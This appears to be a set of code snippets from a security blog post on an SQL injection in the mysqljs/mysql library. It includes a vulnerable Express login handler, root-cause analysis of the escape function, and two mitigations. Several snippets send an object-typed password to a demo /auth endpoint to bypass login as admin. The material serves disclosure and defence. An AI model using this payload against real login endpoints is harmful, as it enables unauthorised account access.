Finding an unseen SQL Injection by bypassing escape functions in mysqljs/mysql

README.md

https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4

demo_attack_demo_1.js

fetch("https://sqli.blog-demo.flatt.training/auth", {
 "headers": {
  "accept-language": "en-US,en;q=0.9,ko;q=0.8,ja;q=0.7",
  "cache-control": "max-age=0",
  "content-type": "application/x-www-form-urlencoded",
  ...
 },
 ...
 "body": "username=admin&password=12341234test",
 "method": "POST",
 "mode": "cors",
 "credentials": "include"
});

demo_attack_demo_2.js

fetch("https://sqli.blog-demo.flatt.training/auth", {
  headers: {
    "content-type": "application/x-www-form-urlencoded",
  },
  body: "username=admin&password=12341234test",
  method: "POST",
  mode: "cors",
  credentials: "include",
})
.then((r) => r.text())
.then((r) => {
  console.log(r);
});

demo_attack_demo_3.js

fetch("https://sqli.blog-demo.flatt.training/auth", {
  headers: {
    "content-type": "application/x-www-form-urlencoded",
  },
  body: "username=admin&password[password]=1",
  method: "POST",
  mode: "cors",
  credentials: "include",
})
.then((r) => r.text())
.then((r) => {
  console.log(r);
});

demo_attack_demo_4.js

data = {
  username: "admin",
  password: {
    password: 1,
  },
};
fetch("https://sqli.blog-demo.flatt.training/auth", {
  headers: {
    "content-type": "application/json",
  },
  body: JSON.stringify(data),
  method: "POST",
  mode: "cors",
  credentials: "include",
})
.then((r) => r.text())
.then((r) => {
  console.log(r);
});

demo_vuln_snippet.js

app.post("/auth", function (request, response) {
  // Capture the input fields
  let username = request.body.username;
  let password = request.body.password;
  // Ensure the input fields exists and are not empty
  if (username && password) {
    // Execute SQL query that'll select the account from the database based on the specified username and password
    connection.query(
      "SELECT * FROM accounts WHERE username = ? AND password = ?",
      [username, password],
      function (error, results, fields) {
        // If there is an issue with the query, output the error
        if (error) throw error;
        // If the account exists
        if (results.length > 0) {
          // Authenticate the user
          request.session.loggedin = true;
          request.session.username = username;
          // Redirect to home page
          response.redirect("/home");
        } else {
          response.send("Incorrect Username and/or Password!");
        }
        response.end();
      }
    );
  } else {
    response.send("Please enter Username and Password!");
    response.end();
  }
});

root_cause_query_1.sql

mysql> select password = `password` from accounts;
+-----------------------+
| password = `password` |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.00 sec)

root_cause_query_2.sql

mysql> select password = `password` = 1 from accounts;
+---------------------------+
| password = `password` = 1 |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)

root_cause_query_3.sql

mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`;
+----+----------+------------------+------------------+
| id | username | snipped_password | email            |
+----+----------+------------------+------------------+
| 1 | admin     | da923326         | admin@flatt.tech |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`=1;
+----+----------+------------------+------------------+
| id | username | snipped_password | email            |
+----+----------+------------------+------------------+
| 1 | admin     | da923326         | admin@flatt.tech |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND 1;
+----+----------+------------------+------------------+
| id | username | snipped_password | email            |
+----+----------+------------------+------------------+
| 1 | admin     | da923326         | admin@flatt.tech |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)

root_cause_run.sql

$ node main.js
SELECT * FROM accounts WHERE username = 'admin' AND password = 12341234
SELECT * FROM accounts WHERE username = 'admin' AND password = true
SELECT * FROM accounts WHERE username = 'admin' AND password = '1995-12-17 03:24:00.000'
SELECT * FROM accounts WHERE username = 'admin' AND password = `0` = 't', `1` = 'e', `2` = 's', `3` = 't', `4` = '_', `5` = 'p', `6` = 'a', `7` = 's', `8` = 's', `9` = 'w', `10` = 'o', `11` = 'r', `12` = 'd', `13` = '_', `14` = 's', `15` = 't', `16` = 'r', `17` = 'i', `18` = 'n', `19` = 'g'
SELECT * FROM accounts WHERE username = 'admin' AND password = 'test_password_string'
SELECT * FROM accounts WHERE username = 'admin' AND password = 'array_test_1', 'array_test_2'
SELECT * FROM accounts WHERE username = 'admin' AND password = ('a', 'b'), ('c', 'd')
SELECT * FROM accounts WHERE username = 'admin' AND password = `obj_key_1` = 'obj_val_1'
SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
SELECT * FROM accounts WHERE username = 'admin' AND password = NULL

root_cause_sqlstring.js

SqlString.escape = function escape(val, stringifyObjects, timeZone) {
  if (val === undefined || val === null) {
    return 'NULL';
  }
  switch (typeof val) {
    case 'boolean': return (val) ? 'true' : 'false';
    case 'number': return val + '';
    case 'object':
      if (val instanceof Date) {
        return SqlString.dateToString(val, timeZone || 'local');
      } else if (Array.isArray(val)) {
        return SqlString.arrayToList(val, timeZone);
      } else if (Buffer.isBuffer(val)) {
        return SqlString.bufferToString(val);
      } else if (typeof val.toSqlString === 'function') {
        return String(val.toSqlString());
      } else if (stringifyObjects) {
        return escapeString(val.toString());
      } else {
        return SqlString.objectToValues(val, timeZone);
      }
    default: return escapeString(val);
  }
};
...
SqlString.objectToValues = function objectToValues(object, timeZone) {
  var sql = '';
  for (var key in object) {
    var val = object[key];
    if (typeof val === 'function') {
      continue;
    }
    sql += (sql.length === 0 ? '' : ', ') + SqlString.escapeId(key) + ' = ' + SqlString.escape(val, true, timeZone);
  }
  return sql;
};

root_cause_typetest.js

/*
main.js
Test code for different types
*/
var mysql = require("mysql");
// connection
var connection = mysql.createConnection({
  host: "localhost",
  user: "login",
  password: "login",
  database: "login",
});
// log query
connection.on("enqueue", function (sequence) {
  if ("Query" === sequence.constructor.name) {
    console.log(sequence.sql);
  }
});
// username and password
var username = "admin";
var password_list = [
  12341234, // Numbers
  true, // Booleans
  new Date("December 17, 1995 03:24:00"), // Date
  new String("test_password_string"), // String Object
  "test_password_string", // String
  ["array_test_1", "array_test_2"], // Array
  [
    ["a", "b"],
    ["c", "d"],
  ], // Nested Array
  { obj_key_1: "obj_val_1" }, // Object
  undefined,
  null,
];
// What will happen?
for (i in password_list) {
  var sql = "SELECT * FROM accounts WHERE username = ? AND password = ?";
  connection.query(
    sql,
    [username, password_list[i]],
    function (error, results, fields) {}
  );
}

tldr_attack_snippet.js

/*
 Running the following code in your browser will execute the following code in the backend.
 > SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1;
 And the executed query will eventually be simplified into the following query
 > SELECT * FROM accounts WHERE username = 'admin' AND 1 = 1;
 > SELECT * FROM accounts WHERE username = 'admin';
*/
data = {
  username: "admin",
  password: {
    password: 1,
  },
};
fetch("https://sqli.blog-demo.flatt.training/auth", {
  headers: {
    "content-type": "application/json",
  },
  body: JSON.stringify(data),
  method: "POST",
  mode: "cors",
  credentials: "include",
})
.then((r) => r.text())
.then((r) => {
  console.log(r);
});

tldr_vulnerable_snippet.js

...
app.post("/auth", function (request, response) {
 var username = request.body.username;
 var password = request.body.password;
 if (username && password) {
  connection.query(
   "SELECT * FROM accounts WHERE username = ? AND password = ?",
   [username, password],
   function (error, results, fields) {
    ...
   }
  );
 }
});
...

tldr_workaround_1.js

var connection = mysql.createConnection({
  ...,
  stringifyObjects: true,
});
...

tldr_workaround_2.js

app.post("/auth", function (request, response) {
 var username = request.body.username;
 var password = request.body.password;
 // Reject different type
 if (typeof username != "string" || typeof password != "string"){
  response.send("Invalid parameters!");
  response.end();
  return;
 }
 if (username && password) {
  connection.query(
   "SELECT * FROM accounts WHERE username = ? AND password = ?",
   [username, password],
   function (error, results, fields) {
    ...
   }
  );
 }
});

workaround_1_after.js

var connection = mysql.createConnection({
  host: "db",
  user: "login",
  password: "login",
  database: "login",
  stringifyObjects: true,
});
...

workaround_1_before.js

var connection = mysql.createConnection({
  host: "db",
  user: "login",
  password: "login",
  database: "login",
});
...

workaround_2_after.js

app.post("/auth", function (request, response) {
 var username = request.body.username;
 var password = request.body.password;
 // Reject different value types
 if (typeof username != "string" || typeof password != "string"){
  response.send("Invalid parameters!");
  response.end();
  return;
 }
 if (username && password) {
  connection.query(
   "SELECT * FROM accounts WHERE username = ? AND password = ?",
   [username, password],
   function (error, results, fields) {
    ...
   }
  );
 }
});

workaround_2_before.js

app.post("/auth", function (request, response) {
 var username = request.body.username;
 var password = request.body.password;
 if (username && password) {
  connection.query(
   "SELECT * FROM accounts WHERE username = ? AND password = ?",
   [username, password],
   function (error, results, fields) {
    ...
   }
  );
 }
});